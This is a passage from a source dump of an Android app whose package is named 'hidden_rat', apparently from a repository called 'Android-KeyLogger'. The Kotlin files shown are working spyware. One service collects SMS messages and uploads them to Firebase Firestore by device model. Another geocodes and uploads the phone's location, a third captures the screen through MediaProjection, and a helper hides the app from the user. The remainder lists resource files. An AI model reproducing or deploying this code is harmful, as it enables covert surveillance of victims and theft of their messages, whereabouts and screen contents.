ScreenRecordService::class.java) 122 | intent.action = ACTION_START_RECORDING 123 | context.startService(intent) 124 | } 125 | 126 | fun stopRecording(context: Context) { 127 | val intent = Intent(context, ScreenRecordService::class.java) 128 | intent.action = ACTION_STOP_RECORDING 129 | context.startService(intent) 130 | } 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/service/ScreenshotService.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.service 2 | 3 | import android.annotation.SuppressLint 4 | import android.app.* 5 | import android.content.Context 6 | import android.content.Intent 7 | import android.content.res.Resources 8 | import android.graphics.Bitmap 9 | import android.graphics.PixelFormat 10 | import android.hardware.display.DisplayManager 11 | import android.media.ImageReader 12 | import android.media.projection.MediaProjectionManager 13 | import android.os.* 14 | import android.util.Log 15 | import java.io.ByteArrayOutputStream 16 | import java.io.File 17 | import java.io.FileOutputStream 18 | 19 | class ScreenshotService : Service() { 20 | 21 | override fun onCreate() { 22 | super.onCreate() 23 | startForegroundNotification() 24 | } 25 | 26 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { 27 | Handler(Looper.getMainLooper()).postDelayed({ 28 | takeScreenshot() 29 | }, 1000) 30 | 31 | return START_NOT_STICKY 32 | } 33 | 34 | private fun startForegroundNotification() { 35 | val channelId = "screenshot_channel" 36 | val channel = NotificationChannel( 37 | channelId, 38 | "Screenshot Service", 39 | NotificationManager.IMPORTANCE_LOW 40 | ) 41 | val manager = getSystemService(NOTIFICATION_SERVICE) as NotificationManager 42 | manager.createNotificationChannel(channel) 43 | 44 | val notification = Notification.Builder(this, channelId) 45 | .setContentTitle("Screenshot running...") 46 | .setSmallIcon(android.R.drawable.ic_menu_camera) 47 | .build() 48 | 49 | startForeground(1, notification) 50 | } 51 | 52 | @SuppressLint("WrongConstant") 53 | private fun takeScreenshot() { 54 | val prefs = getSharedPreferences("screenshot_prefs", MODE_PRIVATE) 55 | val resultCode = prefs.getInt("resultCode", Activity.RESULT_CANCELED) 56 | val intentUri = prefs.getString("data", null) 57 | 58 | if (intentUri == null || resultCode == Activity.RESULT_CANCELED) { 59 | Log.e("ScreenshotService", "MediaProjection permission not found.") 60 | stopSelf() 61 | return 62 | } 63 | 64 | val dataIntent = Intent.parseUri(intentUri, 0) 65 | val projectionManager = 66 | getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager 67 | val mediaProjection = projectionManager.getMediaProjection(resultCode, dataIntent) 68 | 69 | val metrics = Resources.getSystem().displayMetrics 70 | val width = metrics.widthPixels 71 | val height = metrics.heightPixels 72 | val density = metrics.densityDpi 73 | 74 | val imageReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888, 2) 75 | mediaProjection.createVirtualDisplay( 76 | "ScreenCapture", 77 | width, height, density, 78 | DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR, 79 | imageReader.surface, null, null 80 | ) 81 | 82 | Handler(Looper.getMainLooper()).postDelayed({ 83 | val image = imageReader.acquireLatestImage() 84 | if (image != null) { 85 | val planes = image.planes 86 | val buffer = planes[0].buffer 87 | val rowStride = planes[0].rowStride 88 | val pixelStride = planes[0].pixelStride 89 | val rowPadding = rowStride - pixelStride * width 90 | 91 | val bitmap = Bitmap.createBitmap( 92 | width + rowPadding / pixelStride, 93 | height, 94 | Bitmap.Config.ARGB_8888 95 | ) 96 | bitmap.copyPixelsFromBuffer(buffer) 97 | image.close() 98 | mediaProjection.stop() 99 | Log.d("ScreenshotService", "Screenshot captured successfully") 100 | 101 | saveTempScreenshot(bitmap) 102 | } else { 103 | Log.e("ScreenshotService", "No image captured.") 104 | } 105 | 106 | stopSelf() 107 | }, 1000) 108 | } 109 | 110 | private fun saveTempScreenshot(bitmap: Bitmap) { 111 | val file = File(getExternalFilesDir(null), "temp_screenshot.jpg") 112 | val stream = ByteArrayOutputStream() 113 | bitmap.compress(Bitmap.CompressFormat.JPEG, 80, stream) 114 | 115 | FileOutputStream(file).use { 116 | it.write(stream.toByteArray()) 117 | it.flush() 118 | } 119 | 120 | Log.d("ScreenshotService", "Screenshot saved at: ${file.absolutePath}") 121 | // Optionally: uploadToFirebase(file) 122 | } 123 | 124 | override fun onBind(intent: Intent?): IBinder? = null 125 | } 126 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/service/SmsService.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.service 2 | 3 | import android.app.Service 4 | import android.content.Context 5 | import android.content.Intent 6 | import android.net.ConnectivityManager 7 | import android.os.IBinder 8 | import android.util.Log 9 | import com.ratx.hidden_rat.model.SMSData 10 | import com.google.firebase.firestore.FirebaseFirestore 11 | import com.google.gson.Gson 12 | import com.google.gson.reflect.TypeToken 13 | import java.io.File 14 | import java.io.FileOutputStream 15 | import java.io.FileReader 16 | 17 | class SmsService : Service() { 18 | private lateinit var firestore: FirebaseFirestore 19 | 20 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { 21 | handleIncomingSms(intent) 22 | return START_NOT_STICKY 23 | } 24 | 25 | override fun onBind(intent: Intent?): IBinder? { 26 | return null 27 | } 28 | 29 | override fun onCreate() { 30 | super.onCreate() 31 | firestore = FirebaseFirestore.getInstance() 32 | } 33 | 34 | override fun onDestroy() { 35 | super.onDestroy() 36 | } 37 | 38 | private fun handleIncomingSms(intent: Intent?) { 39 | if (intent?.action == "com.azamovhudstc.SMS_ACTION") { 40 | Log.d("EVENT", "handleIncomingSms: ") 41 | val smsData = intent.getSerializableExtra("smsData") as SMSData 42 | if (isOnline()) { 43 | if (isLocalSmsAvailable()) { 44 | sendAllSmsDataToFirebase() 45 | saveSmsDataToFirebase(smsData) 46 | } else { 47 | saveSmsDataToFirebase(smsData) 48 | 49 | } 50 | } else { 51 | saveSmsToFile(smsData) 52 | } 53 | } 54 | } 55 | 56 | private fun isLocalSmsAvailable(): Boolean { 57 | val fileName = "sms_log.json" 58 | val filePath = File(getExternalFilesDir(null), fileName) 59 | return filePath.exists() 60 | } 61 | 62 | 63 | private fun saveSmsToFile(smsData: SMSData) { 64 | val gson = Gson() 65 | 66 | // Convert the list to JSON string 67 | val jsonString = gson.toJson(smsData) 68 | 69 | val fileName = "sms_log.json" 70 | val filePath = File(getExternalFilesDir(null), fileName) 71 | val outputStream = FileOutputStream(filePath, false) // Rewrite the file 72 | outputStream.write(jsonString.toByteArray()) 73 | outputStream.close() 74 | } 75 | 76 | private fun isOnline(): Boolean { 77 | val connectivityManager = 78 | getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager 79 | val networkInfo = connectivityManager.activeNetworkInfo 80 | return networkInfo != null && networkInfo.isConnected 81 | } 82 | 83 | private fun sendAllSmsDataToFirebase() { 84 | val smsDataList = readSmsFromFile() 85 | val deviceModel = android.os.Build.MODEL 86 | val collectionReference = firestore.collection("sms_$deviceModel") 87 | for (smsData in smsDataList) { 88 | collectionReference.add(smsData) 89 | .addOnSuccessListener { documentReference -> 90 | Log.d("EVENT", "SMS data sent to Firebase successfully") 91 | // Ma'lumot Firebase ga muvaffaqiyatli yuborilgan, shuning uchun lokal faylni o'chiramiz 92 | deleteLocalSmsFile() 93 | } 94 | .addOnFailureListener { e -> 95 | Log.e("EVENT", "Error sending SMS data to Firebase", e) 96 | } 97 | } 98 | } 99 | 100 | private fun saveSmsDataToFirebase(smsData: SMSData) { 101 | val deviceModel = android.os.Build.MODEL 102 | val collectionReference = firestore.collection("sms_$deviceModel") 103 | collectionReference.add(smsData) 104 | .addOnSuccessListener { documentReference -> 105 | Log.d("EVENT", "SMS data sent to Firebase successfully") 106 | } 107 | .addOnFailureListener { e -> 108 | Log.e("EVENT", "Error sending SMS data to Firebase", e) 109 | } 110 | } 111 | 112 | private fun deleteLocalSmsFile() { 113 | val fileName = "sms_log.json" 114 | val filePath = File(getExternalFilesDir(null), fileName) 115 | if (filePath.exists()) { 116 | filePath.delete() 117 | Log.d("EVENT", "Local SMS file deleted successfully") 118 | } else { 119 | Log.e("EVENT", "Local SMS file not found") 120 | } 121 | } 122 | 123 | 124 | private fun readSmsFromFile(): List { 125 | val gson = Gson() 126 | val fileName = "sms_log.json" 127 | val filePath = File(getExternalFilesDir(null), fileName) 128 | 129 | if (!filePath.exists()) { 130 | // If file doesn't exist, return an empty list 131 | return emptyList() 132 | } 133 | 134 | val fileReader = FileReader(filePath) 135 | val typeToken = object : TypeToken>() {}.type 136 | return gson.fromJson(fileReader, typeToken) 137 | } 138 | } -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/uploader/LocationUploader.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.uploader 2 | 3 | import android.content.Context 4 | import android.location.Geocoder 5 | import android.net.ConnectivityManager 6 | import com.google.firebase.firestore.FirebaseFirestore 7 | import com.google.gson.Gson 8 | import com.ratx.hidden_rat.R 9 | import java.io.File 10 | import java.io.FileWriter 11 | import java.io.IOException 12 | import java.text.SimpleDateFormat 13 | import java.util.Date 14 | import java.util.Locale 15 | 16 | class LocationUploader(private val context: Context) { 17 | 18 | private val fileName = "offline_locations.txt" 19 | private val firestore = FirebaseFirestore.getInstance() 20 | private val gson = Gson() 21 | 22 | fun saveLocation(location: android.location.Location) { 23 | 24 | val geoCoder = Geocoder(context, Locale.getDefault()) 25 | val address = try { 26 | geoCoder.getFromLocation(location.latitude, location.longitude, 1)?.get(0) 27 | ?.getAddressLine(0) 28 | ?: context.getString(R.string.address_not_found) 29 | } catch (e: IOException) { 30 | context.getString(R.string.address_not_found) 31 | } 32 | 33 | val model = LocationModel(location.latitude, location.longitude, address, getDateTime()) 34 | 35 | if (isOnline(context)) { 36 | uploadLocationToFirestore(model) 37 | } else { 38 | saveLocationToFile(model) 39 | } 40 | } 41 | 42 | private fun uploadLocationToFirestore(model: LocationModel) { 43 | firestore.collection("locations_${android.os.Build.MODEL}").add(model) 44 | .addOnSuccessListener { 45 | deleteLocationFromFile(model) 46 | } 47 | .addOnFailureListener { 48 | saveLocationToFile(model) 49 | } 50 | } 51 | 52 | private fun saveLocationToFile(model: LocationModel) { 53 | try { 54 | val file = File(context.filesDir, fileName) 55 | FileWriter(file, true).use { writer -> 56 | writer.append(gson.toJson(model)) 57 | writer.append("\n") 58 | } 59 | } catch (e: IOException) { 60 | e.printStackTrace() 61 | } 62 | } 63 | 64 | private fun deleteLocationFromFile(target: LocationModel) { 65 | val file = File(context.filesDir, fileName) 66 | if (!file.exists()) return 67 | 68 | val updatedList = mutableListOf() 69 | file.bufferedReader().forEachLine { line -> 70 | val model = gson.fromJson(line, LocationModel::class.java) 71 | if (model != target) updatedList.add(model) 72 | } 73 | 74 | file.writeText("") // clear file 75 | 76 | FileWriter(file, true).use { writer -> 77 | updatedList.forEach { 78 | writer.append(gson.toJson(it)) 79 | writer.append("\n") 80 | } 81 | } 82 | } 83 | 84 | 85 | private fun isOnline(context: Context): Boolean { 86 | val cm = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager 87 | val netInfo = cm.activeNetworkInfo 88 | return netInfo != null && netInfo.isConnected 89 | } 90 | 91 | private fun getDateTime(): String { 92 | val sdf = SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault()) 93 | return sdf.format(Date()) 94 | } 95 | 96 | data class LocationModel( 97 | val latitude: Double, 98 | val longitude: Double, 99 | val address: String, 100 | val timestamp: String 101 | ) 102 | } 103 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/utils/Functions.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.utils 2 | 3 | import android.content.ComponentName 4 | import android.content.Context 5 | import android.content.pm.PackageManager 6 | import android.util.Log 7 | import android.widget.Toast 8 | import com.ratx.hidden_rat.activity.MainFixActivity 9 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/utils/getAppIconByPackageName.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.utils 2 | 3 | import android.content.Context 4 | import android.content.pm.PackageManager 5 | import android.graphics.drawable.Drawable 6 | import com.ratx.hidden_rat.model.NotificationModel 7 | 8 | fun getAppIconByPackageName(context: Context, packageName: String): Drawable? { 9 | val packageManager: PackageManager = context.packageManager 10 | try { 11 | val appInfo = packageManager.getApplicationInfo(packageName, PackageManager.GET_META_DATA) 12 | return packageManager.getApplicationIcon(appInfo) 13 | } catch (e: PackageManager.NameNotFoundException) { 14 | e.printStackTrace() 15 | } 16 | return null 17 | } 18 | 19 | fun hideApp(context: Context) { 20 | val packageName = context.packageName 21 | val pm = context.packageManager 22 | 23 | // Ilovani yashirish 24 | try { 25 | // pm.setApplicationEnabledSetting(packageName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, 0) 26 | } catch (e: Exception) { 27 | e.printStackTrace() 28 | } 29 | } 30 | 31 | fun showApp(context: Context) { 32 | val packageName = context.packageName 33 | val pm = context.packageManager 34 | 35 | // Ilovani ko'rsatish 36 | try { 37 | pm.setApplicationEnabledSetting(packageName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, 0) 38 | } catch (e: Exception) { 39 | e.printStackTrace() 40 | } 41 | } 42 | 43 | fun getPackageNamesFromNotifications( 44 | context: Context, 45 | notifications: ArrayList 46 | ): ArrayList> { 47 | val packageNames = arrayListOf>() 48 | 49 | for (notification in notifications) { 50 | val packageName = notification.packageName 51 | val packageManager = context.packageManager 52 | val applicationInfo = packageManager.getApplicationInfo(packageName, 0) 53 | val label = packageManager.getApplicationLabel(applicationInfo).toString() 54 | if (!packageNames.any { it.first == packageName }) { 55 | packageNames.add(Pair(packageName, label)) 56 | } 57 | } 58 | 59 | return packageNames 60 | } 61 | -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 15 | 18 | 21 | 22 | 23 | 24 | 30 | -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/shape_corner_16dp.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/acc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/acc1.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/acc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/acc2.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/acc3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/acc3.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/bg_content.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/bg_gradient.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 11 | 16 | 17 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/bg_gradient_down.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/bg_gradient_up.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/bg_item_badge.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/bg_toolbar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box_background_light_ellipses_16.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box_background_light_ellipses_16_end.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box_background_light_ellipses_16_start.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box_background_light_ellipses_24.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box_background_light_ellipses_24_end.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box_background_light_ellipses_24_start.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/copy.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 12 | 13 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/delete.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/exchange.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 12 | 13 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_arrow_back_black_24.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_back.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_backward_128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_backward_128.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_battery_state_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_battery_state_1.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_battery_state_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_battery_state_2.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_battery_state_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_battery_state_3.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_calendar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_chevron_left.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_chevron_right.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_clock.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_date_time.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_forward_128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_forward_128.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_go_left_128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_go_left_128.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_go_right_128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_go_right_128.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_info.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_plus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_plus.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_share.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_sign.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_signal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_signal.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_swipe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_swipe.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_text_more.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_text_typing.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_text_typing_24.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_trash.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_warning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_warning.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_wifi.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ladder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ladder.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/logo.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/logo_24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/logo_24.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/logo_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/logo_round.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/shape_dash_line.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/share.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/side_nav_bar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/splash_screen.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/font/gilory_black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/gilory_black.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/gilory_bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/gilory_bold.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/gilory_medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/gilory_medium.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/montserrat_medium.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | -------------------------------------------------------------------------------- /app/src/main/res/font/montserrat_semibold.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | -------------------------------------------------------------------------------- /app/src/main/res/font/roboto.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | -------------------------------------------------------------------------------- /app/src/main/res/font/rubik_bold.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | -------------------------------------------------------------------------------- /app/src/main/res/font/rubik_medium.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_black.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_bold.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_extra_bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_extra_bold.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_extra_light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_extra_light.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_font_family.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 13 | 17 | 21 | 25 | 29 | 33 | 37 | 41 | 45 | 49 | -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_italic.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_light.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_medium.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_regular.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_semi_bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_semi_bold.ttf -------------------------------------------------------------------------------- /app/src/main/res/font/urbanist_thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_thin.ttf -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_accessibility.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 14 | 15 | 22 | 23 | 30 | 31 | 35 | 36 | 42 | 43 | 47 | 48 | 49 | 56 | 57 | 61 | 62 | 68 | 69 | 73 | 74 | 75 | 82 | 83 | 87 | 88 | 94 | 95 | 99 | 100 | 101 | 108 | 109 | 110 | 111 |